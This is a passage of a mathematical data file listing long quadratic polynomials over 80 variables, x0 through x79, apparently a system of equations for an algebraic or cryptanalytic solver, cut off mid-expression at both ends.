x52*x79 + x52 + x53*x54 + x53*x55 + x53*x56 + x53*x60 + x53*x62 + x53*x63 + x53*x67 + x53*x72 + x53*x73 + x53*x74 + x53*x76 + x53*x77 + x53*x79 + x53 + x54*x57 + x54*x60 + x54*x61 + x54*x63 + x54*x66 + x54*x67 + x54*x68 + x54*x69 + x54*x70 + x54*x71 + x54*x74 + x54*x75 + x54*x77 + x54*x78 + x54 + x55*x56 + x55*x57 + x55*x58 + x55*x60 + x55*x63 + x55*x64 + x55*x65 + x55*x66 + x55*x72 + x55*x73 + x55*x75 + x55*x76 + x55*x78 + x56*x61 + x56*x64 + x56*x67 + x56*x71 + x56*x77 + x56*x79 + x57*x58 + x57*x59 + x57*x61 + x57*x63 + x57*x65 + x57*x67 + x57*x70 + x57*x71 + x57*x73 + x57*x76 + x57*x79 + x57 + x58*x62 + x58*x63 + x58*x65 + x58*x66 + x58*x67 + x58*x70 + x58*x74 + x58*x78 + x59*x61 + x59*x62 + x59*x63 + x59*x64 + x59*x67 + x59*x70 + x59*x75 + x59*x76 + x59*x78 + x59*x79 + x60*x63 + x60*x64 + x60*x65 + x60*x69 + x60*x70 + x60*x73 + x60*x75 + x60*x78 + x61*x63 + x61*x67 + x61*x68 + x61*x70 + x61*x71 + x61*x72 + x61*x76 + x61*x77 + x61*x79 + x62*x63 + x62*x64 + x62*x65 + x62*x66 + x62*x67 + x62*x69 + x62*x70 + x62*x71 + x62*x72 + x62*x73 + x62*x74 + x62*x75 + x62*x79 + x63*x70 + x63*x71 + x63*x73 + x63*x74 + x63 + x64*x67 + x64*x68 + x64*x71 + x64*x72 + x64*x75 + x64*x76 + x64*x77 + x64*x78 + x64*x79 + x64 + x65*x69 + x65*x70 + x65*x71 + x65*x73 + x65*x74 + x65*x75 + x65*x76 + x65*x79 + x66*x67 + x66*x71 + x66*x72 + x66*x73 + x66*x75 + x66*x78 + x67*x69 + x67*x70 + x67*x71 + x67*x72 + x67*x76 + x67*x77 + x67*x79 + x68*x74 + x68*x77 + x68*x78 + x68*x79 + x69*x71 + x69*x72 + x69*x73 + x69*x75 + x69*x76 + x70*x71 + x70*x72 + x70*x75 + x70*x76 + x70*x78 + x70*x79 + x71*x72 + x71*x73 + x71*x74 + x71*x77 + x71 + x72*x73 + x72*x74 + x72*x76 + x72*x78 + x72*x79 + x72 + x73*x74 + x73*x75 + x73*x77 + x73*x79 + x73 + x74*x75 + x74*x76 + x74*x77 + x74 + x75*x78 + x77*x78 + x77*x79 + x79, x0*x1 + x0*x2 + x0*x3 + x0*x6 + x0*x7 + x0*x9 + x0*x15 + x0*x16 + x0*x17 + x0*x19 + x0*x20 + x0*x21 + x0*x22 + x0*x26 + x0*x27 + x0*x28 + x0*x29 + x0*x30 + x0*x32 + x0*x35 + x0*x36 + x0*x40 + x0*x47 + x0*x49 + x0*x54 + x0*x55 + x0*x57 + x0*x58 + x0*x62 + x0*x63 + x0*x66 + x0*x67 + x0*x74 + x0*x76 + x0*x77 + x1*x5 + x1*x9 + x1*x14 + x1*x17 + x1*x20 + x1*x21 + x1*x28 + x1*x29 + x1*x30 + x1*x31 + x1*x32 + x1*x33 + x1*x34 + x1*x35 + x1*x40 + x1*x43 + x1*x44 + x1*x46 + x1*x49 + x1*x50 + x1*x51 + x1*x52 + x1*x53 + x1*x54 + x1*x57 + x1*x58 + x1*x62 + x1*x63 + x1*x66 + x1*x67 + x1*x70 + x1*x73 + x1*x74 + x1*x75 + x1*x77 + x1*x79 + x2*x3 + x2*x4 + x2*x5 + x2*x6 + x2*x7 + x2*x8 + x2*x10 + x2*x18 + x2*x20 + x2*x21 + x2*x24 + x2*x28 + x2*x29 + x2*x31 + x2*x33 + x2*x39 + x2*x40 + x2*x41 + x2*x45 + x2*x46 + x2*x47 + x2*x48 + x2*x50 + x2*x52 + x2*x55 + x2*x56 + x2*x57 + x2*x58 + x2*x60 + x2*x61 + x2*x62 + x2*x64 + x2*x65 + x2*x66 + x2*x67 + x2*x68 + x2*x70 + x2*x77 + x2*x79 + x2 + x3*x6 + x3*x7 + x3*x9 + x3*x10 + x3*x11 + x3*x17 + x3*x18 + x3*x19 + x3*x20 + x3*x22 + x3*x23 + x3*x24 + x3*x25 + x3*x27 + x3*x28 + x3*x29 + x3*x30 + x3*x31 + x3*x32 + x3*x34 + x3*x35 + x3*x36 + x3*x39 + x3*x44 + x3*x48 + x3*x49 + x3*x50 + x3*x54 + x3*x57 + x3*x59 + x3*x61 + x3*x63 + x3*x64 + x3*x68 + x3*x69 + x3*x72 + x3*x74 + x3*x76 + x4*x5 + x4*x10 + x4*x11 + x4*x14 + x4*x15 + x4*x19 + x4*x21 + x4*x22 + x4*x23 + x4*x24 + x4*x26 + x4*x28 + x4*x29 + x4*x30 + x4*x31 + x4*x32 + x4*x33 + x4*x34 + x4*x35 + x4*x36 + x4*x40 + x4*x42 + x4*x46 + x4*x47 + x4*x51 + x4*x52 + x4*x53 + x4*x55 + x4*x56 + x4*x57 + x4*x58 + x4*x59 + x4*x60 + x4*x64 + x4*x65 + x4*x66 + x4*x68 + x4*x72 + x4*x73 + x4*x74 + x4*x75 + x4 + x5*x6 + x5*x7 + x5*x11 + x5*x13 + x5*x15 + x5*x17 + x5*x19 + x5*x20 + x5*x26 + x5*x27 + x5*x28 + x5*x29 + x5*x30 + x5*x32 + x5*x33 + x5*x35 + x5*x40 + x5*x42 + x5*x44 + x5*x45 + x5*x46 + x5*x48 + x5*x51 + x5*x56 + x5*x57 + x5*x58 + x5*x59 + x5*x63 + x5*x64 + x5*x65 + x5*x67 + x5*x68 + x5*x69 + x5*x70 + x5*x71 + x5*x72 + x5*x73 + x5*x74 + x5*x76 + x5*x77 + x5*x79 + x5 + x6*x8 + x6*x9 + x6*x11 + x6*x13 + x6*x14 + x6*x15 + x6*x17 + x6*x18 + x6*x19 + x6*x24 + x6*x29 + x6*x30 + x6*x32 + x6*x34 + x6*x39 + x6*x40 + x6*x46 + x6*x50 + x6*x51 + x6*x57 + x6*x58 + x6*x63 + x6*x64 + x6*x66 + x6*x68 + x6*x69 + x6*x70 + x6*x71 + x6*x72 + x6*x73 + x6*x74 + x6*x76 + x6*x77 + x6*x79 + x7*x15 + x7*x16 + x7*x18 + x7*x19 + x7*x25 + x7*x30 + x7*x32 + x7*x33 + x7*x34 + x7*x35 + x7*x36 + x7*x43 + x7*x45 + x7*x48 + x7*x50 + x7*x51 + x7*x52 + x7*x54 + x7*x55 + x7*x56 + x7*x57 + x7*x59 + x7*x60 + x7*x61 + x7*x62 + x7*x63 + x7*x64 + x7*x66 + x7*x71 + x7*x72 + x7*x73 + x7*x74 + x7*x75 + x7*x76 + x7*x78 + x8*x11 + x8*x12 + x8*x13 + x8*x14 + x8*x15 + x8*x16 + x8*x19 + x8*x20 + x8*x21 + x8*x22 + x8*x25 + x8*x26 + x8*x29 + x8*x35 + x8*x38 + x8*x39 + x8*x41 + x8*x48 + x8*x49 + x8*x50 + x8*x53 + x8*x54 + x8*x55 + x8*x59 + x8*x63 + x8*x64 + x8*x66 + x8*x67 + x8*x68 + x8*x69 + x8*x72 + x8*x73 + x8*x78 + x8 + x9*x11 + x9*x13 + x9*x14 + x9*x16 + x9*x17 + x9*x18 + x9*x22 + x9*x28 + x9*x29 + x9*x31 + x9*x33 + x9*x34 + x9*x35 + x9*x36 + x9*x37 + x9*x39 + x9*x41 + x9*x42 + x9*x44 + x9*x48 + x9*x51 + x9*x53 + x9*x54 + x9*x57 + x9*x59 + x9*x60 + x9*x63 + x9*x64 + x9*x68 + x9*x69 + x9*x71 + x9*x72 + x9*x73 + x9*x77 + x9*x78 + x9*x79 + x10*x12 + x10*x14 + x10*x16 + x10*x18 + x10*x19 + x10*x20 + x10*x22 + x10*x23 + x10*x24 + x10*x26 + x10*x29 + x10*x32 + x10*x34 + x10*x35 + x10*x36 + x10*x37 + x10*x38 + x10*x39 + x10*x40 + x10*x41 + x10*x42 + x10*x43 + x10*x45 + x10*x46 + x10*x50 + x10*x55 + x10*x57 + x10*x58 + x10*x60 + x10*x62 + x10*x67 + x10*x68 + x10*x70 + x10*x72 + x10*x75 + x10*x78 + x11*x12 + x11*x14 + x11*x15 + x11*x16 + x11*x17 + x11*x18 + x11*x19 + x11*x20 + x11*x23 + x11*x24 + x11*x25 + x11*x26 + x11*x27 + x11*x28 + x11*x29 + x11*x33 + x11*x34 + x11*x35 + x11*x36 + x11*x37 + x11*x38 + x11*x39 + x11*x40 + x11*x42 + x11*x43 + x11*x46 + x11*x47 + x11*x49 + x11*x50 + x11*x51 + x11*x54 + x11*x55 + x11*x56 + x11*x58 + x11*x59 + x11*x61 + x11*x62 + x11*x65 + x11*x72 + x11*x74 + x11*x75 + x11*x77 + x11*x78 + x12*x15 + x12*x17 + x12*x21 + x12*x23 + x12*x26 + x12*x27 + x12*x29 + x12*x33 + x12*x36 + x12*x38 + x12*x39 + x12*x40 + x12*x41 + x12*x42 + x12*x45 + x12*x46 + x12*x47 + x12*x51 + x12*x52 + x12*x53 + x12*x56 + x12*x60 + x12*x62 + x12*x64 + x12*x65 + x12*x66 + x12*x69 + x12*x70 + x12*x72 + x12*x73 + x13*x14 + x13*x15 + x13*x18 + x13*x19 + x13*x21 + x13*x23 + x13*x25 + x13*x27 + x13*x28 + x13*x30 + x13*x32 + x13*x33 + x13*x36 + x13*x38 + x13*x39 + x13*x40 + x13*x41 + x13*x43 + x13*x44 + x13*x46 + x13*x48 + x13*x49 + x13*x51 + x13*x54 + x13*x55 + x13*x59 + x13*x60 + x13*x62 + x13*x64 + x13*x67 + x13*x69 + x13*x70 + x13*x72 + x13*x75 + x14*x16 + x14*x17 + x14*x19 + x14*x20 + x14*x22 + x14*x23 + x14*x24 + x14*x26 + x14*x28 + x14*x32 + x14*x34 + x14*x35 + x14*x37 + x14*x38 + x14*x39 + x14*x41 + x14*x43 + x14*x44 + x14*x45 + x14*x47 + x14*x50 + x14*x51 + x14*x55 + x14*x60 + x14*x62 + x14*x63 + x14*x64 + x14*x65 + x14*x66 + x14*x67 + x14*x70 + x14*x71 + x14*x72 + x14*x73 + x14*x74 + x14*x76 + x14*x77 + x14*x78 + x15*x16 + x15*x21 + x15*x23 + x15*x24 + x15*x25 + x15*x26 + x15*x28 + x15*x30 + x15*x34 + x15*x37 + x15*x39 + x15*x41 + x15*x44 + x15*x47 + x15*x48 + x15*x51 + x15*x52 + x15*x54 + x15*x59 + x15*x60 + x15*x61 + x15*x65 + x15*x66 + x15*x67 + x15*x68 + x15*x70 + x15*x75 + x15*x77 + x15*x78 + x16*x21 + x16*x22 + x16*x25 + x16*x26 + x16*x27 + x16*x30 + x16*x31 + x16*x33 + x16*x34 + x16*x35 + x16*x37 + x16*x39 + x16*x40 + x16*x41 + x16*x43 + x16*x44 + x16*x47 + x16*x52 + x16*x53 + x16*x54 + x16*x56 + x16*x62 + x16*x63 + x16*x64 + x16*x66 + x16*x68 + x16*x70 + x16*x73 + x16*x75 + x16*x77 + x16*x78 + x17*x19 + x17*x22 + x17*x25 + x17*x27 + x17*x28 + x17*x29 + x17*x36 + x17*x38 + x17*x47 + x17*x50 + x17*x51 + x17*x53 + x17*x59 + x17*x63 + x17*x67 + x17*x73 + x17*x77 + x17*x78 + x17 + x18*x21 + x18*x22 + x18*x23 + x18*x24 + x18*x25 + x18*x27 + x18*x32 + x18*x33 + x18*x37 + x18*x40 + x18*x41 + x18*x42 + x18*x44 + x18*x45 + x18*x46 + x18*x47 + x18*x49 + x18*x51 + x18*x53 + x18*x56 + x18*x59 + x18*x63 + x18*x64 + x18*x67 + x18*x70 + x18*x74 + x18*x76 + x18*x77 + x18*x78 + x18*x79 + x19*x21 + x19*x22 + x19*x24 + x19*x25 + x19*x26 + x19*x27 + x19*x29 + x19*x30 + x19*x31 + x19*x32 + x19*x35 + x19*x39 + x19*x41 + x19*x42 + x19*x43 + x19*x44 + x19*x45 + x19*x52 + x19*x54 + x19*x56 + x19*x57 + x19*x59 + x19*x63 + x19*x64 + x19*x65 + x19*x66 + x19*x71 + x19*x72 + x19*x73 + x19*x74 + x19*x75 + x19*x78 + x19*x79 + x20*x22 + x20*x23 + x20*x24 + x20*x25 + x20*x26 + x20*x27 + x20*x28 + x20*x30 + x20*x32 + x20*x33 + x20*x34 + x20*x35 + x20*x38 + x20*x39 + x20*x43 + x20*x45 + x20*x46 + x20*x47 + x20*x49 + x20*x50 + x20*x51 + x20*x52 + x20*x53 + x20*x54 + x20*x55 + x20*x56 + x20*x58 + x20*x60 + x20*x64 + x20*x65 + x20*x68 + x20*x70 + x20*x72 + x20*x79 + x20 + x21*x23 + x21*x25 + x21*x27 + x21*x30 + x21*x35 + x21*x37 + x21*x39 + x21*x41 + x21*x43 + x21*x44 + x21*x45 + x21*x46 + x21*x47 + x21*x50 + x21*x51 + x21*x54 + x21*x57 + x21*x60 + x21*x62 + x21*x63 + x21*x64 + x21*x67 + x21*x68 + x21*x69 + x21*x70 + x21*x72 + x21*x74 + x21*x75 + x21*x78 + x21*x79 + x21 + x22*x23 + x22*x24 + x22*x25 + x22*x26 + x22*x27 + x22*x31 + x22*x33 + x22*x37 + x22*x38 + x22*x39 + x22*x40 + x22*x42 + x22*x44 + x22*x45 + x22*x46 + x22*x47 + x22*x48 + x22*x49 + x22*x50 + x22*x52 + x22*x54 + x22*x56 + x22*x65 + x22*x67 + x22*x70 + x22*x71 + x22*x72 + x22*x73 + x22*x76 + x22*x77 + x22*x78 + x22*x79 + x22 + x23*x24 + x23*x25 + x23*x26 + x23*x27 + x23*x28 + x23*x32 + x23*x33 + x23*x37 + x23*x38 + x23*x40 + x23*x41 + x23*x46 + x23*x52 + x23*x54 + x23*x58 + x23*x61 + x23*x62 + x23*x63 + x23*x64 + x23*x69 + x23*x70 + x23*x72 + x23*x73 + x23*x74 + x23*x76 + x23 + x24*x25 + x24*x26 + x24*x28 + x24*x29 + x24*x31 + x24*x36 + x24*x39 + x24*x42 + x24*x43 + x24*x45 + x24*x47 + x24*x48 + x24*x49 + x24*x50 + x24*x51 + x24*x53 + x24*x55 + x24*x57 + x24*x58 + x24*x61 + x24*x62 + x24*x63 + x24*x64 + x24*x67 + x24*x75 + x24*x76 + x24*x77 + x24*x78 + x24*x79 + x24 + x25*x26 + x25*x27 + x25*x28 + x25*x31 + x25*x34 + x25*x35 + x25*x37 + x25*x38 + x25*x40 + x25*x42 + x25*x44 + x25*x52 + x25*x55 + x25*x57 + x25*x58 + x25*x62 + x25*x67 + x25*x69 + x25*x70 + x25*x71 + x25*x74 + x25*x76 + x25*x79 + x25 + x26*x27 + x26*x29 + x26*x34 + x26*x37 + x26*x38 + x26*x39 + x26*x41 + x26*x43 + x26*x55 + x26*x56 + x26*x57 + x26*x59 + x26*x60 + x26*x61 + x26*x66 + x26*x68 + x26*x69 + x26*x70 + x26*x71 + x26*x75 + x26*x78 + x27*x29 + x27*x30 + x27*x33 + x27*x36 + x27*x38 + x27*x39 + x27*x42 + x27*x45 + x27*x46 + x27*x49 + x27*x50 + x27*x53 + x27*x56 + x27*x60 + x27*x61 + x27*x64 + x27*x65 + x27*x66 + x27*x67 + x27*x68 + x27*x69 + x27*x70 + x27*x73 + x27*x74 + x27*x75 + x27*x76 + x27*x79 + x28*x29 + x28*x32 + x28*x33 + x28*x34 + x28*x39 + x28*x40 + x28*x41 + x28*x42 + x28*x48 + x28*x49 + x28*x52 + x28*x55 + x28*x56 + x28*x59 + x28*x62 + x28*x63 + x28*x68 + x28*x69 + x28*x70 + x28*x71 + x28*x73 + x28*x76 + x28*x78 + x28*x79 + x28 + x29*x30 + x29*x31 + x29*x32 + x29*x33 + x29*x35 + x29*x36 + x29*x38 + x29*x41 + x29*x45 + x29*x46 + x29*x49 + x29*x51 + x29*x53 + x29*x54 + x29*x55 + x29*x56 + x29*x58 + x29*x59 + x29*x60 + x29*x61 + x29*x62 + x29*x64 + x29*x65 + x29*x66 + x29*x68 + x29*x69 + x29*x72 + x29*x73 + x29*x74 + x29*x75 + x29*x76 + x29*x78 + x29*x79 + x29 + x30*x31 + x30*x32 + x30*x35 + x30*x36 + x30*x37 + x30*x38 + x30*x39 + x30*x40 + x30*x41 + x30*x42 + x30*x44 + x30*x46 + x30*x47 + x30*x48 + x30*x49 + x30*x53 + x30*x54 + x30*x55 + x30*x57 + x30*x59 + x30*x61 + x30*x63 + x30*x64 + x30*x65 + x30*x66 + x30*x68 + x30*x70 + x30*x72 + x30*x73 + x30*x75 + x30*x76 + x30*x77 + x30*x78 + x31*x32 + x31*x33 + x31*x34 + x31*x35 + x31*x37 + x31*x38 + x31*x39 + x31*x40 + x31*x41 + x31*x44 + x31*x47 + x31*x48 + x31*x49 + x31*x50 + x31*x51 + x31*x53 + x31*x55 + x31*x56 + x31*x57 + x31*x60 + x31*x63 + x31*x64 + x31*x65 + x31*x66 + x31*x67 + x31*x68 + x31*x69 + x31*x70 + x31*x73 + x31*x75 + x31*x78 + x32*x33 + x32*x36 + x32*x40 + x32*x42 + x32*x44 + x32*x45 + x32*x48 + x32*x51 + x32*x52 + x32*x57 + x32*x59 + x32*x62 + x32*x64 + x32*x68 + x32*x69 + x32*x73 + x32*x78 + x32*x79 + x32 + x33*x34 + x33*x35 + x33*x36 + x33*x38 + x33*x41 + x33*x42 + x33*x46 + x33*x47 + x33*x49 + x33*x50 + x33*x51 + x33*x53 + x33*x54 + x33*x55 + x33*x56 + x33*x62 + x33*x64 + x33*x65 + x33*x66 + x33*x67 + x33*x68 + x33*x71 + x33*x76 + x33*x77 + x33*x78 + x34*x35 + x34*x36 + x34*x37 + x34*x39 + x34*x40 + x34*x41 + x34*x47 + x34*x51 + x34*x56 + x34*x57 + x34*x61 + x34*x63 + x34*x66 + x34*x68 + x34*x69 + x34*x71 + x34*x72 + x34*x73 + x34*x76 + x34*x77 + x34*x79 + x34 + x35*x37 + x35*x40 + x35*x41 + x35*x43 + x35*x46 + x35*x47 + x35*x48 + x35*x51 + x35*x53 + x35*x54 + x35*x57 + x35*x59 + x35*x62 + x35*x63 + x35*x66 + x35*x67 + x35*x68 + x35*x69 + x35*x71 + x35*x72 + x35*x74 + x35*x76 + x35 + x36*x37 + x36*x38 + x36*x39 + x36*x40 + x36*x41 + x36*x42 + x36*x43 + x36*x44 + x36*x48 + x36*x53 + x36*x58 + x36*x59 + x36*x60 + x36*x62 + x36*x65 + x36*x67 + x36*x68 + x36*x70 + x36*x71 + x36*x72 + x36*x73 + x36*x77 + x36*x78 + x36*x79 + x36 + x37*x40 + x37*x44 + x37*x52 + x37*x53 + x37*x54 + x37*x57 + x37*x58 + x37*x60 + x37*x61 + x37*x63 + x37*x66 + x37*x70 + x37*x71 + x37*x75 + x37*x76 + x37*x78 + x37*x79 + x37 + x38*x41 + x38*x42 + x38*x44 + x38*x48 + x38*x49 + x38*x51 + x38*x52 + x38*x53 + x38*x54 + x38*x56 + x38*x57 + x38*x59 + x38*x60 + x38*x61 + x38*x63 + x38*x65 + x38*x66 + x38*x68 + x38*x69 + x38*x70 + x38*x76 + x38*x77 + x38 + x39*x42 + x39*x43 + x39*x45 + x39*x46 + x39*x47 + x39*x50 + x39*x51 + x39*x52 + x39*x54 + x39*x57 + x39*x58 + x39*x64 + x39*x65 + x39*x66 + x39*x67 + x39*x70 + x39*x71 + x39*x73 + x39*x75 + x39*x76 + x39*x77 + x39*x79 + x39 + x40*x41 + x40*x46 + x40*x47 + x40*x51 + x40*x55 + x40*x56 + x40*x58 + x40*x61 + x40*x64 + x40*x65 + x40*x66 + x40*x68 + x40*x69 + x40*x73 + x40*x75 + x40*x79 + x41*x53 + x41*x54 + x41*x55 + x41*x59 + x41*x61 + x41*x62 + x41*x63 + x41*x65 + x41*x67 + x41*x69 + x41*x70 + x41*x73 + x41*x74 + x41*x77 + x41*x78 + x41*x79 + x42*x44 + x42*x45 + x42*x51 + x42*x55 + x42*x57 + x42*x59 + x42*x61 + x42*x62 + x42*x63 + x42*x66 + x42*x68 + x42*x70 + x42*x71 + x42*x72 + x42*x73 + x42*x74 + x42*x78 + x43*x44 + x43*x45 + x43*x49 + x43*x51 + x43*x52 + x43*x54 + x43*x55 + x43*x57 + x43*x58 + x43*x65 + x43*x66 + x43*x67 + x43*x68 + x43*x69 + x43*x70 + x43*x71 + x43*x73 + x43*x79 + x44*x45 + x44*x47 + x44*x49 + x44*x51 + x44*x52 + x44*x54 + x44*x55 + x44*x57 + x44*x59 + x44*x60 + x44*x63 + x44*x64 + x44*x65 + x44*x68 + x44*x69 + x44*x70 + x44*x73 + x44*x74 + x44*x75 + x44*x77 + x44*x78 + x44*x79 + x45*x46 + x45*x48 + x45*x52 + x45*x55 + x45*x56 + x45*x57 + x45*x58 + x45*x59 + x45*x63 + x45*x66 + x45*x67 + x45*x68 + x45*x69 + x45*x70 + x45*x73 + x45*x75 + x45*x76 + x45*x79 + x46*x48 + x46*x53 + x46*x55 + x46*x58 + x46*x59 + x46*x60 + x46*x61 + x46*x66 + x46*x68 + x46*x71 + x46*x72 + x46*x73 + x46*x78 + x46 + x47*x48 + x47*x49 + x47*x51 + x47*x52 + x47*x54 + x47*x55 + x47*x57 + x47*x59 + x47*x60 + x47*x62 + x47*x65 + x47*x66 + x47*x68 + x47*x71 + x47*x74 + x47*x76 + x47*x78 + x48*x50 + x48*x51 + x48*x52 + x48*x54 + x48*x55 + x48*x59 + x48*x64 + x48*x65 + x48*x66 + x48*x67 + x48*x68 + x48*x70 + x48*x71 + x48*x72 + x48*x73 + x48*x74 + x48*x78 + x48*x79 + x49*x50 + x49*x53 + x49*x55 + x49*x58 + x49*x60 + x49*x63 + x49*x69 + x49*x70 + x49*x71 + x49*x72 + x49*x75 + x49*x76 + x49*x78 + x49*x79 + x49 + x50*x51 + x50*x52 + x50*x56 + x50*x59 + x50*x60 + x50*x61 + x50*x62 + x50*x63 + x50*x65 + x50*x69 + x50*x71 + x50*x75 + x50*x76 + x50*x79 + x51*x53 + x51*x54 + x51*x56 + x51*x57 + x51*x60 + x51*x61 + x51*x63 + x51*x64 + x51*x65 + x51*x67 + x51*x71 + x51*x74 + x51*x77 + x51*x78 + x51 + x52*x53 + x52*x54 + x52*x56 + x52*x58 + x52*x59 + x52*x60 + x52*x61 + x52*x63 + x52*x65 + x52*x66 + x52*x67 + x52*x70 + x52*x72 + x52*x75 + x52*x77 + x52*x78 + x52*x79 + x52 + x53*x55 + x53*x58 + x53*x60 + x53*x61 + x53*x64 + x53*x65 + x53*x66 + x53*x67 + x53*x68 + x53*x69 + x53*x70 + x53*x71 + x53*x75 + x53*x77 + x53 + x54*x55 + x54*x60 + x54*x61 + x54*x63 + x54*x64 + x54*x66 + x54*x68 + x54*x70 + x54*x74 + x54*x75 + x54*x76 + x54*x78 + x54*x79 + x55*x56 + x55*x57 + x55*x59 + x55*x61 + x55*x62 + x55*x63 + x55*x64 + x55*x70 + x55*x72 + x55*x73 + x55*x74 + x55*x77 + x55*x78 + x55*x79 + x56*x60 + x56*x61 + x56*x64 + x56*x65 + x56*x69 + x56*x70 + x56*x72 + x56*x73 + x56*x74 + x56*x75 + x56*x79 + x56 + x57*x61 + x57*x63 + x57*x66 + x57*x68 + x57*x69 + x57*x70 + x57*x71 + x57*x72 + x57*x73 + x57*x76 + x57*x79 + x57 + x58*x60 + x58*x62 + x58*x63 + x58*x64 + x58*x66 + x58*x68 + x58*x69 + x58*x70 + x58*x73 + x58*x76 + x58*x77 + x58 + x59*x60 + x59*x61 + x59*x62 + x59*x63 + x59*x64 + x59*x65 + x59*x67 + x59*x68 + x59*x69 + x59*x70 + x59*x71 + x59*x72 + x59*x74 + x59*x77 + x59*x79 + x59 + x60*x61 + x60*x62 + x60*x65 + x60*x66 + x60*x71 + x60*x72 + x60*x73 + x60*x74 + x60*x75 + x60*x78 + x60 + x61*x62 + x61*x63 + x61*x66 + x61*x70 + x61*x71 + x61*x72 + x61*x76 + x61*x79 + x62*x64 + x62*x66 + x62*x67 + x62*x69 + x62*x72 + x62*x73 + x62*x75 + x62*x78 + x62*x79 + x62 + x63*x72 + x63*x73 + x63*x74 + x63*x76 + x63*x77 + x63*x79 + x64*x68 + x64*x73 + x64*x74 + x64*x75 + x64*x76 + x64*x77 + x65*x69 + x65*x71 + x65*x72 + x65*x73 + x65*x74 + x65*x75 + x65*x76 + x65*x78 + x65 + x66*x68 + x66*x69 + x66*x70 + x66*x72 + x66*x74 + x66*x76 + x66*x77 + x66*x78 + x66 + x67*x69 + x67*x71 + x67*x77 + x67*x79 + x68*x72 + x68*x73 + x68*x75 + x68*x76 + x68*x79 + x69*x70 + x69*x74 + x69*x75 + x69*x76 + x69 + x70*x71 + x70*x75 + x70*x76 + x70*x79 + x71*x74 + x71*x76 + x71*x78 + x71*x79 + x71 + x72*x73 + x72*x75 + x72*x77 + x73*x76 + x73*x78 + x73*x79 + x74*x75 + x74*x76 + x74*x77 + x74*x79 + x74 + x75*x76 + x75*x78 + x75*x79 + x76 + x77 + x78*x79 + x79, x0*x1 + x0*x4 + x0*x6 + x0*x7 + x0*x8 + x0*x12 + x0*x14 + x0*x16 + x0*x17 + x0*x20 + x0*x21 + x0*x22 + x0*x26 + x0*x28 + x0*x30 + x0*x37 + x0*x41 + x0*x45 + x0*x47 + x0*x48 + x0*x52 + x0*x56 + x0*x59 + x0*x61 + x0*x62 + x0*x63 + x0*x67 + x0*x68 + x0*x70 + x0*x72 + x0*x74 + x0*x76 + x0*x77 + x0*x78 + x0*x79 + x1*x8 + x1*x12 + x1*x13 + x1*x14 + x1*x16 + x1*x18 + x1*x19 + x1*x20 + x1*x21 + x1*x23 + x1*x24 + x1*x25 + x1*x26 + x1*x27 + x1*x28 + x1*x29 + x1*x35 + x1*x36 + x1*x39 + x1*x41 + x1*x43 + x1*x44 + x1*x45 + x1*x52 + x1*x57 + x1*x58 + x1*x59 + x1*x64 + x1*x65 + x1*x66 + x1*x67 + x1*x68 + x1*x71 + x1*x74 + x1*x75 + x1*x77 + x1*x78 + x1 + x2*x3 + x2*x4 + x2*x6 + x2*x7 + x2*x8 + x2*x10 + x2*x12 + x2*x13 + x2*x14 + x2*x16 + x2*x18 + x2*x21 + x2*x23 + x2*x24 + x2*x27 + x2*x28 + x2*x30 + x2*x31 + x2*x33 + x2*x34 + x2*x38 + x2*x44 + x2*x45 + x2*x48 + x2*x49 + x2*x53 + x2*x57 + x2*x59 + x2*x60 + x2*x62 + x2*x63 + x2*x71 + x2*x73 + x2*x74 + x2*x79 + x3*x6 + x3*x7 + x3*x9 + x3*x11 + x3*x12 + x3*x13 + x3*x14 + x3*x16 + x3*x17 + x3*x18 + x3*x19 + x3*x20 + x3*x21 + x3*x22 + x3*x24 + x3*x25 + x3*x26 + x3*x28 + x3*x29 + x3*x30 + x3*x31 + x3*x32 + x3*x33 + x3*x37 + x3*x38 + x3*x39 + x3*x40 + x3*x41 + x3*x45 + x3*x46 + x3*x47 + x3*x48 + x3*x51 + x3*x54 + x3*x56 + x3*x58 + x3*x59 + x3*x60 + x3*x62 + x3*x63 + x3*x65 + x3*x67 + x3*x69 + x3*x74 + x3*x75 + x3*x76 + x3*x79 + x3 + x4*x8 + x4*x10 + x4*x13 + x4*x14 + x4*x16 + x4*x17 + x4*x21 + x4*x24 + x4*x26 + x4*x28 + x4*x29 + x4*x30 + x4*x32 + x4*x33 + x4*x35 + x4*x37 + x4*x38 + x4*x40 + x4*x43 + x4*x47 + x4*x48 + x4*x51 + x4*x60 + x4*x61 + x4*x65 + x4*x66 + x4*x68 + x4*x70 + x4*x73 + x4*x76 + x4*x77 + x4 + x5*x6 + x5*x8 + x5*x9 + x5*x11 + x5*x12 + x5*x13 + x5*x14 + x5*x15 + x5*x16 + x5*x17 + x5*x18 + x5*x19 + x5*x22 + x5*x23 + x5*x25 + x5*x27 + x5*x29 + x5*x30 + x5*x33 + x5*x35 + x5*x38 + x5*x39 + x5*x41 + x5*x42 + x5*x45 + x5*x46 + x5*x48 + x5*x49 + x5*x50 + x5*x54 + x5*x56 + x5*x59 + x5*x63 + x5*x65 + x5*x66 + x5*x69 + x5*x70 + x5*x72 + x5*x73 + x5*x75 + x5*x76 + x5*x78 + x5*x79 + x6*x7 + x6*x15 + x6*x17 + x6*x23 + x6*x24 + x6*x25 + x6*x26 + x6*x28 + x6*x29 + x6*x30 + x6*x31 + x6*x32 + x6*x33 + x6*x34 + x6*x35 + x6*x37 + x6*x42 + x6*x44 + x6*x46 + x6*x47 + x6*x48 + x6*x50 + x6*x52 + x6*x53 + x6*x54 + x6*x55 + x6*x58 + x6*x60 + x6*x64 + x6*x73 + x6*x76 + x6*x77 + x6*x78 + x6*x79 + x6 + x7*x9 + x7*x10 + x7*x13 + x7*x14 + x7*x17 + x7*x18 + x7*x19 + x7*x20 + x7*x21 + x7*x24 + x7*x28 + x7*x32 + x7*x33 + x7*x34 + x7*x35 + x7*x36 + x7*x37 + x7*x38 + x7*x40 + x7*x43 + x7*x45 + x7*x46 + x7*x47 + x7*x48 + x7*x49 + x7*x50 + x7*x54 + x7*x55 + x7*x57 + x7*x60 + x7*x61 + x7*x62 + x7*x64 + x7*x65 + x7*x66 + x7*x68 + x7*x70 + x7*x71 + x7*x73 + x7*x77 + x8*x9 + x8*x11 + x8*x14 + x8*x15 + x8*x19 + x8*x22 + x8*x25 + x8*x28 + x8*x29 + x8*x32 + x8*x33 + x8*x34 + x8*x35 + x8*x36 + x8*x41 + x8*x44 + x8*x48 + x8*x50 + x8*x54 + x8*x55 + x8*x60 + x8*x62 + x8*x63 + x8*x67 + x8*x69 + x8*x71 + x8*x76 + x8*x77 + x8*x79 + x9*x10 + x9*x12 + x9*x15 + x9*x17 + x9*x18 + x9*x20 + x9*x21 + x9*x22 + x9*x24 + x9*x25 + x9*x28 + 